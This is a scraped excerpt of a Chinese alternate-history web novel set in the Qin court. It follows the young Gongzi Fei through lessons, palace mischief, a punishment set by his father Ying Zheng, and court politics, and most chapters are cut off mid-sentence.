《秦二公子升职实录》 1. 第一章 《秦二公子升职实录》全本免费阅读 这是一则发生在不知名时空的故事,也是一个与我们所熟知的历史截然不同的架空世界—— 秦王政十年。 “公子!二公子!行行好,快下来吧!” 正是春光明媚的时候,两名梳着双丫髻的侍女同一名内侍却无心赏春,只焦急的围在芷阳宫的大树旁,忧心忡忡的向上张望。 “美人马上就要回来了!”不敢高喊引来旁人,侍女们只能努力劝说。 “公子昨天的功课也没写完!”内侍在一边补充。 “还有、还有王上!这里可是王上——” 侍女被她的同伴打断了。 “噤声!王上可不是我们能随意虚张的!” 三人一同闭嘴。他们小心翼翼的向周围张望了一番,确定这依旧是个无人问津的角落,这才齐齐吁了一口气。 “你要想死可别拖我们一起!”一位侍女埋怨。 “抱歉抱歉,我也是心急。”另一位是侍女道歉。 “两位姐姐,当务之急还是二公子!”内侍提醒。 两位侍女微微一顿,与内侍一起苦着脸重新抬头。 “二公子,前面的树枝太细了,不安全!您还是下来吧!让臣来!”内侍再次努力。 回应他的是几下不耐烦的挥手。 “小声点,我等会儿就下来了!” 高高的树杈上,身着锦衣的秦王二公子——公子斐正兴奋的趴在半粗不细的枝条上。他抽空向树底的三人做了一个稍安勿躁的手势,继续轻手轻脚的往前爬。 “很快,就差一点了!”公子斐两眼放光的挪动着。他估摸双方的距离,小心翼翼的调整了一下姿势,向前方不远处的鸟窝伸出了手。 能够到! 虚虚的碰了一下眼前粗糙的鸟窝,公子斐两眼一亮。他谨慎的低头估量了一番树枝的承重,片刻,在侍女与内侍紧张的目光中,再次小心的往前挪了挪。 很好,就这样。 尽量忽视枝桠不堪负重的颤动,公子斐缓缓从怀里掏出了他刚捡的小鸟。 “安心!斐这就送你回家!” 公子斐再次伸出手,将小鸟轻柔的送回鸟窝。他扒着枝桠心满意足的看小鸟和它的兄弟们叽叽喳喳的叫了几下,这才慢吞吞的往回挪。 “好了,看吧,我就说,很快的!” 他一边挪一边安抚树下急的都快擦汗的侍女和内侍。 这会儿是关键时刻,侍女内侍不敢多言,只紧紧的盯着他。以防万一,侍女还特地站到了树枝下将自己当做人肉垫子,内侍也上前两步贴着树干站好,方便公子斐下来时垫脚。 “你们啊,就是太紧张了,斐早就说过,很安全的。” 往回挪视野受限,公子斐用了好一会儿才退回到大树粗壮的主干上。他抹了一把汗,拿手扇了两下风,正想与侍女内侍们再叨叨两句,低头就与一双鹰眼对了个正着。 “我儿好大的兴致,怎么不再多呆一会儿?”鹰眼主人,秦王嬴政好整以暇的站在树下,凉凉的问。 公子斐:“……” 求助,贪玩被父王抓了,用什么姿势认错比较好? 心虚的眨了眨眼,公子斐东南西北乱瞟一通找不到可以求助的方向,最终只能露出一个讪讪的笑容。 “父王怎么来了……”他手忙脚乱的就要往下爬。 嬴政不置可否的望着他。他虽未表态,但随着公子斐的动作,他身边的宿卫却是立刻上前替代了看着就弱不禁风的内侍。 “你往旁边一点啦……” 瞟了一眼侍卫的位置,又瞟了一眼不吭声的青年,少年小声指挥。“那边有个树节。” 宿卫会意的站到了树节旁边,青年则略略挑眉,问站在一旁的内侍:“他这是第几次了?” 内侍脸一白,呐呐不语。嬴政于是明白这是次数多的数都数不清了。 “你们就这样由着他?”他沉声。 这下内侍可不能再闭嘴了。他略一迟疑,老实交代。 原来,公子斐以前虽也爱爬树,但只是喜欢坐在主干上吹风。这一回,是来的时候看小鸟落在地上,鸟妈妈在一旁焦急守护,他才一时心善,揣着小鸟将它送回。 “一时心善。” 嬴政略略抬头望了一眼树梢上的鸟巢,轻哼:“朕看他是一时兴起才是。” 内侍低头,不敢回话。反倒是嬴政周围的内侍笑着打了个圆场:“二公子尚且年幼,活泼一些也是应当。” “小小年纪就有这般胆量,定是承武王之风!”另一位内侍也笑。 “就你们会说。”斜睨了一眼说话之人,嬴政眼中闪过一丝满意。他没再多说什么,摆手叫内侍退下,自己则不冷不热的看向灵活落地,还有余力七手八脚的整理衣服让自己看起来更整洁的公子斐。 “还不滚过来!”嬴政轻喝。 “给父王请安~” 勉强拉直自己爬树爬的皱巴巴的长袍,公子斐讪笑着贴了过来。“今儿是什么风把您吹到这儿来了?” 芷阳宫是夏太后的故居,虽不偏远,但在夏太后逝去后这里基本就封存了,没什么人来。公子斐偶然发现这一点后就经常跑到这里来玩,从没被抓到过。没想到一被抓,就是个大的。 “你说呢?”嬴政斜睨他。 “父王定是想曾大母了!”公子斐一脸肯定,“曾大母知道您过来一定会高兴的!” 嬴政呵呵。 这脸皮是像了谁,这么厚? “站没站相,像什么样子!”他瞬间变脸。 公子斐缩了缩脖子,飞快收回了试图搀扶嬴政的手。他后退一步老老实实在他身边站好。 “卫美人知道你在这儿么?”嬴政问。 那必然是不知道的。公子斐眨眨眼,立刻露出了讨好的笑容。 “父王!”他眼巴巴的瞅着嬴政,期翼能得到一个赦免。可惜,他得到的只有嬴政无情的宣告。 “那她等下就知道了。”嬴政冷冷道。 公子斐一下垮了脸。 完了完了,屁股又要开花了。他愁眉苦脸的想。也不知道宫里的止痛药够不够用? 想到阿母生气的模样,公子斐不由打了一个寒噤。 还有救吗? 他可怜巴巴的瞅着嬴政。 嬴政冷酷的无视了他,率先向前走去。 嬴政今天来芷阳宫自然不是随便路过,他是特地来散心的。 前段时间,借着罪人嫪毐叛乱的机会,他抓住时机成功罢免了摄政大臣吕不韦。从此,这秦国再没有什么人能压制他了,他终于成为了一名大权在握,说一不二的君王。 这样激动人心的消息即便是嬴政也难免会想要找人分享。可惜,吕不韦对这秦国着实影响深远,不仅他的王后出生吕氏,他的父亲也一生倚重他,母亲更是……连祖母华阳夫人都十分器重他。嬴政算来算去他的身边竟然只有大母夏太后与吕不韦并无太大关系。是以,今日难得空闲,他便来夏太后的芷阳宫散心。 没想到,才一进门,他的好儿子就给了他这么大一个惊喜。 “卫美人呢?就这样随便放你出来?”虽然已经没有了散心的心情,不过来都来了,嬴政自然也不会刚到就走,这对夏太后太不礼貌了。出于尊敬,他还是准备逛一圈,看看内侍们有没有什么差池再离开。 “母后病了,今天轮到阿母去侍疾。”吕王后前不久才生下五公主,还休养着呢,吕不韦倒台的消息就传入了后宫。她几乎一下就病倒了。公子斐偶尔听卫美人提过吕王后的情况似乎不太好,也不知道她能不能撑下去。 “倒是辛苦她了。”嬴政点头。 “可不就是! 2. 第二章 《秦二公子升职实录》全本免费阅读 “《史籀》可学完?” 在亭中坐下,命人上了水与桃,嬴政这才问。 《史籀》是周宣王的太史编纂的识字读物,四字一句,朗朗上口,各国的王公贵族基本都以此作为启蒙读物。 “回父王,已经读完了。”公子斐道。 嬴政于是便选了几句抽背,见公子斐对答如流,他满意的点头。 咬字清晰,吐字明确,卫美人教的很好,不愧是出了商君的公孙氏。 “可还读了其他?”他又问。 “还读了《诗》,《书》,《管子》和《商君书》。”公子斐道。 这回答就有些出乎嬴政的意料了。 《诗》由儒家孔丘整理,因其朗朗上口,现在基本也算启蒙必备。《书》虽略显聱牙,但史书的故事性强,也常用作开蒙。倒是《管子》和《商君书》,这两卷都是法家经典,对公子斐这个年纪来说稍微有些早了。 嬴政记得他的大儿子扶苏比公子斐大一岁,今年才开始学《商君书》,乍一对比竟是慢了许多——虽然这也有扶苏先学了《易》的原因。 “都能背诵?”带着几分怀疑,嬴政又问。 公子斐自信点头。“基本都能背了,不过释意有些还不清楚。”他事先声明。 嬴政点头,并不意外。公子斐的学习进度已经出乎他的意料,若是连释意都一清二楚,那这孩子的未来,恐怕就需要好好考虑了。 虽然这样他更高兴就是了。 意味深长的扫了一眼兴致昂扬的公子斐,嬴政比着他的书单从简单到拗口都抽了几句。见他确实背的滚瓜烂熟,他既惊奇又满意的笑了起来。 “不错,赏十金。” 公子斐惊喜的谢恩了。这还是他第一次得到赏赐呢!没想到背书竟然还能有奖赏!太棒了! “父王父王,我还会背《申子》,您要抽背吗?”他两眼发光,自告奋勇道。 “还学了《申子》?”嬴政挑眉,难道他这儿子真是个天才不成? “也不算学吧,就无聊的时候随便看看。”公子斐随意道。“现在似乎好些了,前段时间宫里的气氛好严肃啊!阿母都不让我出去玩,只能在宫里看书。”他小声抱怨。 嬴政:“……” 随便看看就敢让他抽背,他这儿子莫不是有过目不忘之能? 带着几分试探,嬴政真按公子斐要求的抽了几句。 这一次抽背的成绩不如之前,但也只是有些磕绊。公子斐中间停了两次思考下文,最终成绩是漏了两句,其他无错。 总的来说,可以算是相当不错。 “好,也赏!”大方的又给了五金,嬴政满意点头。 “谢谢父王!”纯靠背诵就赚了大钱,公子斐的眼睛也亮晶晶的。背书虽然很无聊,但若次次都能有赏,他也不是不能多背几卷,反正对他来说都很简单。 相对简单的背诵结束,接下来自然该考教释意了。公子斐前面提过他释意还不太清楚,嬴政便先问他学到哪里。 公子斐说他学完了《诗》和《书》。 “《商君书》只学了三篇,《管子》还没开始学。”公子斐老实道。 释意并不只是学文章的翻译,还有背后蕴含的道理。 讲文章简单,讲道理却难。是以,虽然公子斐记忆力□□美人却也没有一股脑的将各种道理灌输给他。她每天只讲一点,不求别的,只求讲清,讲透,让儿子牢记心头。 “那朕便只抽《诗》、《书》罢。”嬴政从《诗》中抽了一首《淇奥》听公子斐讲。 这是他名字的来源,也是公子斐学的第一首诗。公子斐对它十分熟悉,讲起来自然也十分顺畅。 “说起来,儿的名字是父王取的,还是阿母取的?”将自己的感想顺顺当当的说完,公子斐顺嘴问。 “自然是朕取的。”嬴政理所当然道。 公子斐是他的二子,他出生时虽不如长子扶苏那样受重视,但也绝对不敷衍。嬴政是思考了很久,才从《卫风》中挑出这个寄托了他期望的名字。 说起来,扶苏在这一点上倒是不如他。少年慕艾,扶苏诞生时他对郑美人正是情浓,忍不住便以长子的名字示好。现在看来虽然也算不错,但对比公子斐就略显轻佻了,希望扶苏以后不会怪他。 “那就谢谢父王啦!给了儿一个好名字!”公子斐开心道。 嬴政本来没感觉,毕竟这都是他作为父亲应该做的。但听公子斐一说,他顿时也感到几分高兴与自得。只是,一位成熟的君王不应该太过表现自己的喜怒,是以,他只浅浅别开视线,微微点了点头。 “继续罢。”他主动将话题拉回正轨。“惟刑之恤哉,何解?” 这是《书》中的一句话,警示君主要慎重使用刑罚。公子斐先是将原句通读背诵,解释他表面的意思。然后,又延展开讲君王治国的关键在治心,只有赏罚分明,赏罚适度,才能使民心归顺,天下大治。 “不错。”原意与本意都解释的很顺畅,看得出是学习的时候是下了功夫的。嬴政满意点头,又问:“为何要赏?为何要罚?” 这就有点超纲了。公子斐略鼓了鼓颊,有些不满的看向嬴政。嬴政不为所动的回视他,片刻,气势不够的公子斐低下了头。 “赏是一种激励,一种鼓励,父王赏儿背书,儿就愿意多背一些领赏。罚是一种纠正,一种惩戒,阿母不愿见儿爬树,她就骂我,希望我改掉这个习性,不敢再犯。”公子斐按自身的经历理解。 “那你改了吗?”嬴政问。 “嗯……”那这当然没有了,不然他现在也不会坐在这里。公子斐目光游移。 “赏罚分明,赏罚适度,看,这就是轻罚的后果。”嬴政道。 公子斐突然有一种不好的预感。 “传寡人御令,明日起,命二公子斐每日攀爬羽阳宫高木一轮,着宿卫轮流督办。”嬴政突然下令。 这命令让公子斐一怔。 按父王的意思,阿母是罚的太轻了他才难改“恶习”吧。那他这命令…… 公子斐茫然的望向嬴政,嬴政只低头呡了一口水,没有多做解释。 “斐儿学的很好,赏五金,卫美人教的也很好,赏十金,今日便到此罢。”依着小几又赏了一会儿景,嬴政宣布结束今日的芷阳宫之行。他扫了公子斐一眼,命众人摆驾章台宫。 章台宫是嬴政日常办公起居的住所,也是他的寝宫。平日里,他的大多数事务都是在章台宫处理的,偶有几次家宴也在此举行。今日也不例外。 当嬴政带着公子斐回宫的时候,此前受他传召而来的三位后妃和三位公主一位公子都已经到了。嬴政在自己的主位上坐下,看公子斐在卫美人担忧的目光中乖乖坐好,他举杯示意开席。 然后便是一轮敬酒。 “父王,今儿怎么突然请儿臣们过来?”轮到二公主阴嫚的时候,她好奇的问。 秦国相比其他诸侯国算是一个相对新兴的国家,没有太多繁文缛节,父母子女之间也说话也比较直接。嬴政突然召开家宴定是有事,阴嫚公 3. 第三章 《秦二公子升职实录》全本免费阅读 “老实交代,你怎么回事!” 一路沉默着回了羽阳宫,刚跨进宫门,公子斐就想溜号。但卫美人公孙蓉可太了解自己的好大儿了,她几乎是瞬间回身,揪住了公子斐的耳朵。 “疼疼疼疼疼!” 还没使劲,公子斐就一脸扭曲的开始叫痛。不知道的还以为公孙蓉用了多大力气呢,其实公子斐稍微动动就能躲开,但他只嚎不躲,老老实实的被公孙蓉审问。 “就——问了儿一些功课上的问题……”公子斐顾左右而言他。 “哦,就功课?”公孙蓉加重了手中的力道,“那我问你,王上是在哪里问你功课?” “这……”公子斐答不上来了。 “我是不是让你好好在宫里读书?你人呢?”公孙蓉逼近了些。 公子斐目光闪烁。 “不说是吗?那我再问你,芷阳宫,去了几次?”公孙蓉简直想尖叫。天知道她在接到内侍的通报时是个什么想法。“偷溜芷阳宫!你怎么不干脆去华阳宫!长乐宫!章台宫!” 这三一个是华阳太后的居所,一个是吕王后的居所,一个是嬴政的居所。 公子斐望天。 虽然章台宫长乐宫他没去过,但华阳宫他真的去过,还是被华阳夫人亲自带着去的。从那之后他定期会去华阳宫溜一圈,和华阳太后培养培养祖孙感情。 “你不会真去过吧?”知儿莫若母,看公子斐的脸色,公孙蓉立刻明白了他的意思。她柳眉一竖,当即叫来公子斐的内侍李淇和侍女赵念赵如。 “回美人,二公子确实去过华阳宫。”李淇小声道。 公子斐毕竟才五岁,路虽然已经走的很溜,但却走不长。他溜出去玩主要还是靠李淇抱。 “你!你们怎么敢!公子若是有什么万一,你们当得起吗!”公孙蓉不敢置信。 李淇、赵念、赵如赶紧跪地磕头。 是啊,他们怎么敢?老实说他们也很想问自己。时至今日,他们都有点想不起自己当初是怎么被小小的公子斐忽悠着带他出去玩的了。只是有一就有二,有二就有三,次数多了,好像也就习惯了。 “阿母,别生气嘛,是儿命他们带我出去的。”关键时刻,公子斐挺身而出。他一把将罪责揽下。“你要怪就怪我吧!” 公孙蓉瞪他。 “你还好意思说!”她气道。 “本来就是嘛,”公子斐理直气壮,“而且,有阿淇他们看着很安全阿!他们超小心的!” 公孙蓉深呼吸再深呼吸。 “小心是他们应该的。”她直言,“带你出去却是他们不应该的。”她已有了将他们打发走的打算。 “这事就这样吧。”挥手让他们退到一边,不准备和儿子在这个问题上纠缠下去的公孙蓉转而问起他下午与嬴政相处的事。 公子斐毕竟还是个小孩子,很快就被公孙蓉转移了注意。他兴致勃勃向公孙蓉汇报自己的战绩。 “父王超好的!儿随便背背书他就给我奖赏!十五金哎!”公子斐大声宣告,“还有阿母,也有五金!” 虽然公子斐并不能理解十五金的奖励算多算少,但这可是他第一次获得奖励哎!还是一连三次奖励!超快乐的! 他手舞足蹈连比带划的向公孙蓉展示下午的情形。 “这么说,阿母倒是要谢谢我们阿斐了。”微笑着摸了摸公子斐的脑袋,公孙蓉笑道。 “那也不用,这是儿应该做的。”公子斐理所应当道。“孝养父母嘛。” 两人一同笑了起来。 “就你会说!”公孙蓉轻轻点了点他的脑袋。公子斐像是挨了重击一样往后倒去。他就地翻了个身,换了个姿势趴到公孙蓉怀里。 “说起来,儿有一事不明。”他期期艾艾的说起嬴政给他的惩罚。“儿即喜欢爬树,那这不是正好么?” 公孙蓉摸着公子斐的脑袋一时不言。 好一会儿,她才缓声道:“阿斐喜欢爬树,那是因为你平时很少能这样玩耍,爬树,会带给你一种新鲜,刺激的感觉。” 公子斐抬头望着公孙蓉的下巴。 “但你若每天重复做这一件事,没有了这种新鲜,刺激,你就会发现,爬树,也不过如此。”公孙蓉停下自己摸头的动作。“再多做几次,你就会发现重复做一件事是很腻味的,不能带来快乐,只能带来厌烦。” “是说父王想让儿厌烦爬树吗?”公子斐提炼总结。 公孙蓉没有说是也没有说不是,只说时间已晚,剩下的等他爬几次就知道了。 “好吧,那我先回房了。” 习惯性的招来李淇抱自己,公子斐同公孙蓉告别。 公孙蓉看稳稳抱着公子斐的李淇和安静随侍身后的赵氏姐妹,微微一默,也笑着与公子斐道别。她目送他们离开,直到看不见身影,这才低头。 “阿斐……” 虽然也为儿子的聪慧优秀感到高兴,但有时候,儿子太优秀她又不由的感到忧心。她只想儿子平平安安的,并不想他未来能怎么样。只是,在这大争之世,普通,又真的就能平安无忧吗? 公孙蓉不知道。她只知道,过了今天,她们母子怕是要不得安宁了。 也不知王后能不能挺过这一遭,若是可以…… 她幽幽叹了一口气。 公孙蓉在宫中想了很多,隔壁,公子斐却是一夜好梦。他带着被父王奖赏了五金又五金的喜悦醒来,洗漱过后便主动开始今天的学习。 “赏罚适度……愿意为了父王的奖赏早起读书,这算是奖赏适度吗?”坐在书案前,对着摊在桌面上的《申子》,公子斐思考。 昨天背《申子》的时候磕磕巴巴,虽然奖励到手了,现在回想起来却是有点丢脸,所以公子斐一早就开始重读《申子》,争取流畅背诵了。 他熟读两遍,背诵一遍。如此反复两次,公孙蓉的侍女卫彩来通知他吃朝食了。 公子斐放下竹简,招呼李淇拉他去隔壁。 “阿母!” 一进门,公子斐就扑向公孙蓉。他也不管旁边已经准备好的案几,就蹭在公孙蓉怀里叭叭的跟她说他早上的感想。 “别想!”一眼看穿儿子在想什么,公孙蓉冷酷无情的拒绝了他。 “坐好,像什么样子!”她低声喝斥。 公子斐不甘心的又蹭了蹭,卖了卖乖 4. 第四章 《秦二公子升职实录》全本免费阅读 公子斐今天的功课是《连山》。 公孙蓉认为他昨天偷溜出门的行为是“大凶之举”,不仅反复告诫他要多看《日书》注意凶吉,还给他安排了学习经卦的任务。 经常想一出是一出的公子斐不是很懂按《日书》生活有什么意思,各种卦象更是看得他云里雾里不明所以。不过,因为是公孙蓉的要求,他还是老老实实的将书看完了。 “好玄,完全看不懂。”合上竹简,公子斐挠着脑袋想。“背倒是挺好背的。”各种卦象基本都是四字一断。 叫李淇看着将今天划定的部分背了一遍,确定没什么问题,他喝了一口水,结束今天的功课。 “接下来干嘛呢?”暂时不敢再溜出宫的公子斐透过窗户看了看天色,见日头正好,便决定去院子里活动活动坐酸了的腿脚。“阿淇,把我的蒲车拿来!” 蒲车是一种两轮的滑板车,滑动的时候清风过耳很是舒爽,公子斐没事的时候就喜欢滑一轮,一边滑一边幻想长大了骑在马上该是何等的威风飒爽。 只是,他才出门,章台宫的御诏就过来了。 前来传诏的是昨天跟在嬴政身后的内侍之一陆献,他态度亲切,一见公子斐就笑,但手上的动作却不含糊。 “二公子请接诏。”拉开竹简,陆献肃正了神色。 相比昨日的口述,今天的御诏更加正式,不仅明确规定的需要攀爬的树木数量和攀爬次数,还加上了对李淇他们的惩罚。 值得庆幸的是,他们只被罚了二甲的钱和笞刑,不算重,受完刑也还能回来伺候。比较不幸的则是连坐了全羽阳宫——宫里的其他人因为知情不报也被罚钱了。 “这就是连坐么……”虽然已经在《商君书》中背过,但真遇上了公子斐还是有点蒙。他有点不敢看周围,只怔怔的盯着陆献手中的竹简,一时没有动作。 “二公子请接诏。”陆献再次道。 这一次公子斐躬身领诏了。他手足无措的托着诏书,片刻,才颇为不好意思的将诏书转交给李淇。 “连累你了。”公子斐小声道。他悄悄抬眼看了一眼周围不做声的侍从侍女们,缩了缩脖子,转而看向跟在陆献身后的四名宿卫。 “那我们现在开始?”正好他刚换了易于活动的衣服。 “公子若无他事,那便开始罢。”陆献笑道。 一行人于是在李淇的带领下来到了离他们最近的一棵大树下。 “……那斐开始了?”公子斐问。虽然不是第一次受罚,但这样正式的惩罚却是第一次,即便早上已经去周边踩过点,这会儿他心中也难免惴惴。 “还请公子稍后。”宿卫们上前呈四角立于树下,他们拉开手中的麻布简单做了个防摔的措施,确保安全才示意公子斐开始。 公子斐:“……” 感觉……好怪。 毕竟都是爬过的树,公子斐三两下就成功登顶。他踩着分叉的枝桠往下看,见底下的人全都抬头紧张的望着他,他更不自在了。 以前都是偷偷摸摸的来,现在…… 他想起公孙蓉昨天说的话,小声嘟囔了一句:“确实是完全不一样的感觉,怪不自在的”后,又大声问:“我能下来了吗?” 这自然是可以的。 公子斐熟练的爬下树。他在李淇的协助下整理了一下衣装,奔赴下一棵树。 羽阳宫的六棵树很快就爬完了。气喘吁吁的落地,差点一屁股坐倒的公子斐在李淇的协助下才勉强维持住礼仪送陆献离开。 等人一走,他立刻没形象的倒在了草地上。 “公子,我们回宫里坐吧。”赵念端来清水供公子斐饮用,赵如则摇着扇子帮他扇风。 “等会儿等会儿。”仰躺在地,对着天上的流云喘了好一会儿气,公子斐一边疑惑着“就这?”一边坐起饮水。 他拿着铜碗发了一会儿呆,招来李淇问他们三人准备什么时候去受刑。 李淇说今日要择人交接,明日才会去受刑。赵氏姐妹也是如此。至于他们受完刑还能不能回来,这就要看公孙蓉和公子斐的意思了。老实说他们对此并不抱太大希望。 当然,这一点是不能同公子斐说的。不说还有机会,说了公孙蓉真不会放过他们了。是以,李淇只是问:“公子还有什么吩咐?” 一无所觉的公子斐还真另有吩咐。 “趁你还在,正好,把我昨日领的赏拿去给姐姐们分了吧。”向李淇招了招手让他俯身过来,公子斐小声在他耳边道。 李淇一怔,很快摆手拒绝。“公子,无功不受禄,美人会不高兴的。”他小声提醒。 公子斐为难的抓了抓脑袋。 “就不能偷偷的不让她知道吗?”他也小声问。 李淇摇头。“这本就是我们做得不对,受罚也是应该。” 虽然被派来服侍公子斐,但他们实际的主人还是公孙蓉。纵容公子斐其实是违背了公孙蓉的命令的,被罚也没办法。 公子斐:“……” 他苦恼的皱了皱脸。 “没有其他办法吗?” 若是只赏他们三人,自然没问题,他们会为公子保密,但公子斐想补偿所有受他牵连的人,那真的没办法,毕竟人多口杂。 李淇摇头。 “好吧……” 沮丧的闭上眼,公子斐叹气。他扁着嘴又躺倒在地。他在地上躺了一会儿,待赵如小声催促,才一跃而起。 “那我以后再补偿你们吧。”小大人似得拍了拍李淇的肩膀,公子斐道。 “淇就如此期待着了。”李淇笑着回答。 洗个澡换一身清爽的衣服,差不多就到了吃晡食的时候了。 公孙蓉还没回来,公子斐闲着无聊又不想看书,便叫李淇拿了几个铜碗过来盛水玩。 他给每个碗加入不同的水,拿勺子一下一下的敲。 “唔……这个应该再多加一点,那个兜两勺出去。”他一边敲一边指挥赵氏姐妹加水减水。 “好,这样就差不多了。”大约小半个时辰过后,公子斐终于满意了。他依着水量的高低在铜碗上各敲一下,清脆的乐声依次响起。 “很好!”满意点头,公子斐叮叮当当的敲起了《淇奥》,他一边敲一边唱,尚且稚嫩的歌声传遍了整个羽阳宫。 “很好很好!”一曲高歌毕,公子斐陶醉 5. 第五章 《秦二公子升职实录》全本免费阅读 受不了了!爬个树怎么能这么痛苦!这么无聊! 强笑着送走监督的宿卫,公子斐两眼无神的靠在了树干上。 是他的错觉吗?总觉得宿卫的防护一天比一天慢,他爬树花的时间一天比一天多! 都是爬惯了的树,有必要这样吗!他等的都要睡着了! 顺着树干往下滑,公子斐坐在树根上抱住了自己。 这才第十一天!还有足足十九天! 十九天! 这日子要怎么过啊! 这一刻,公子斐砍树的心都有了。 只要把树砍了就不用继续爬了吧!一定是这样的吧! 他坐在树根上久久出神。 “公子,请起来吧,地上凉。” 公子斐在树根上抑郁,身侧,新来的内侍刘言小心的发出劝告。 “让我一个人待一会儿。”公子斐不是很想理他,但良好的教养又让他没办法真的不理,只能沉闷回复。 刘言为难的望着他,无奈,便命侍女取了披风过来小心的披在公子斐身上。 公子斐:“……” 感觉不至于,又似乎有点被安慰到。 他抬头,第一次认真打量这位被公孙蓉派来接替李淇的内侍。 “你姓刘,是从刘水那边来的吧。”他几乎是确定的问。 这个时代大多数黔首都没有姓,只是在宫中行走,便于区分同名,他们会自己给自己取一个姓。一般来说,就是以老家的地名或者老家周围比较有名的地点作为姓氏。宫里有很多侍女内侍姓赵,就是因为他们大多来自赵国,因战败被俘沦为奴仆。 “回公子,言确实来自刘水之畔。”刘言恭敬的回答。 这纯然恭敬的态度让公子斐有些扫兴,不过因为想起了有趣的事,他坚持问了下去。 “相传刘累为孔甲养龙的时候就住在那里,你们那儿真的有龙吗?”这是他无聊翻书时看到的,这时想起难免有些好奇。 刘言茫然的望着他,显然对自己出生这块地的传说一点也不清楚。 公子斐:“……” “好吧……”他无聊的又低下了头。 片刻,保持着抱膝的姿势,他给刘言复述了一遍刘累养龙的故事。 “说不定你的祖先也随刘累养过龙,要好好记住阿。”公子斐叮嘱。 “臣,谨记。”刘言恭敬的行了一个大礼。 “行了,也不至于,起来吧。”无力的摆摆手,公子斐又在树下坐了一会儿。他呆呆的望着天空的流云,好一会儿,才起身让刘言帮他整理。 “走吧,该回去了。”他率着一众侍从回了内室。 洗个澡换身衣服,差不多也是晡食的时候了。公子斐恹恹的来到羽阳宫正堂,拖着脚在自己的位置上坐下。 “怎么这副模样?”自家儿子一日比一日颓丧,公孙蓉看在眼里,爽在心里。 看你以后还爬不爬树!她笑盈盈的想。 “别提了。”完全明白自家母亲在想什么,公子斐悲伤的摆了摆手。 “看来王上的惩罚效果不错。”公孙蓉笑道。“你这脾性,是该好好磨磨。”她这儿子天资脾气哪里都好,就是坐不住,一点儿也不稳重。一个没看住,就不知去哪里疯了。 公子斐怨念的瞪了她一眼,见她笑容依旧,他干脆叫人上菜了。 “还有十九天,很快就过去了。”公孙蓉轻飘飘的安慰。 公子斐埋头苦吃,不理她。 汤饱饭足,刚还变扭着母子两又坐一块聊天了。 公孙蓉先是检查了他的功课,确定和以往一般优秀后,她收获了一堆玄里玄气的抱怨。 “卜筮之术玄妙非常,你才看了个开头,自然不懂。等以后学明白就好了。”公孙蓉对这些卦象其实也不是很懂,但她从小看《日书》对此早已习以为常。 公子斐扁了扁嘴,没有回复。他想起了另一个问题。 “阿母,学宫的事怎么样了?”之前不是说五日么,这都好几天了,怎么还没有动静? “正要和你说呢,学宫的学佴已经选好,是纲成君蔡泽。”公孙蓉道。“大约再过几日就会开课了。” 公子斐茫然的望着她:“纲成君?”长于后宫的他并不认识太多的前朝官员。 公孙蓉于是便向他介绍起秦国这位历经四朝而不倒的传奇国相。 “纲成君年纪大了,正是安享晚年的时候,这回王上可是亲自去请他出山,拜托他照看你们这些小浑头。到时候见了他你可要放尊重点。”公孙蓉警告。 “阿母说什么呢!我一直都很敬老。”公子斐无辜的回视她,华阳太后可喜欢他了! 公孙蓉:“……” “你最好是。”重重点了公子斐的脑袋一下,公孙蓉继续说学宫的事。 “竹简案几之类的早就定好了,现在就剩教习先生的安排了。”说起这事,公孙蓉的面上也带了些许苦恼。“王上一直定不下来。” 学宫不仅是楚夫人执掌宫务后被委任的第一件事,还事关自己女儿的未来,她自然是想办的漂漂亮亮的。无奈秦国的国策之一是“以吏为师”,学宫的先生不能从民间的大家中选取,只能从官员中选取,与前朝关系甚大。这就不是她一人,或者说她们几位后妃能说了算的。 前朝若是有所异动,她这边便只能停下等候。 “是发生了什么事吗?”公子斐问。 公孙蓉看了他一眼,略一犹豫,还是说了:“前些日子王上下了一道《逐客令》,想将出生他国的官员都驱逐出国。” “是因为吕相吗?”由于秦国出过宣太后这样临朝称制的王者,后宫少有不得干政的说法。只要后妃想,虽然不太能干涉嬴政的想法,但了解一下前朝的情况还是没问题的。公孙蓉在公子斐开蒙的时候就大致和他说过一些嬴政亲政需要面对的问题,将他关在宫里让他安分守己的时候也提过罪臣嫪毐和文信侯吕不韦的关系。更别说王后还出生吕氏了。如此种种,公子斐虽未见过吕不韦,但说起前朝他第一个想到的就是他。 说起来,大哥那天也提到了他。公子斐突然想到。 “应该是。”公孙蓉点头。“秦国有好些高官都出生他国,王上这诏令一下,前朝简直乱成一团。” “因为不确定哪些要走哪些要留所以定不下先生的名单么……”公子斐推测。“那外大父他们?”他还想到另一点。 “暂时似乎是不用搬家了。”公孙蓉的面上浮起些许愁绪。他们这一支公孙氏出生卫国,先祖曾是商君公孙鞅的兄弟。昭王五十五年的时候,因魏国囚杀卫怀君,扶持女婿上位,身为王室旁支的他们被迫出逃,来到秦国。 说起来,他们还是受秦昭王的邀请搬来的,不然再怎么狼狈,他们也不会主动选择将公孙鞅灭族了的秦国。 只是原想着就此定居或许也不错,没想到现在却出了这种事。虽然暂时还没有被驱逐的意思,但王上已经有了这个想法,轮到她们公孙氏似乎也只是迟早。阿父阿母年纪都这么大了,经受不了太多的舟车劳累,若这一天真的来临…… 公孙蓉幽幽的叹了一口气。 公子斐赶紧抱着她的胳膊安慰她:“一定不会轮到外大父他们的。若真轮到他们,我就去求父王!他一定会同意的!”他信誓旦旦。 公孙蓉:“……” 虽然儿子是好心,但——“你怎么确定你父王会同意?”她简直要气笑了。“你知道你父王是什么样的人么?” 公子斐天真又无辜的回视她:“因为是父王啊!”理由就这么简单。“虽然他安排的惩罚有点讨厌,但我感觉父 6. 第六章 《秦二公子升职实录》全本免费阅读 学宫正式开课定在三日后。这是公孙蓉第二天回来告诉他的消息。 “还要三天?”公子斐惊讶,“看韩文的架势我还以为最迟明天就开课了呢!” “这可是请太卜令亲自卜筮的吉日。”公孙蓉郑重道,“我们也是今日才得到确切的消息。” 公子斐:“……好吧。” 就算背完了《连山》他对经卦卜筮之道还是没什么兴趣,相比那些玄之又玄的卦象,他还是对书里记载的一些历史信息更感兴趣。里面有好些信息些能和他以前看过的闲书互相印证。 一整卷《连山》他也就看懂了这些。 “昨天忘了问了,先生们定好,那前朝那边是不是稳定了?外大父他们还好吗?”不想和每日起床先看《日书》的母亲在这个话题上多纠缠,公子斐果断转移话题。 “这个啊,逐客令似乎是取消了,听说是一位楚国来的客卿上书令王上回心转意了。”接到消息的时候公孙蓉激动于《逐客令》的取消,一时忘了注意那客卿姓谁名谁。好在她没注意,她的侍女们却不会忽视。 “回美人,是曾经跟随文信侯的李斯李大人。”卫彩小声提醒。 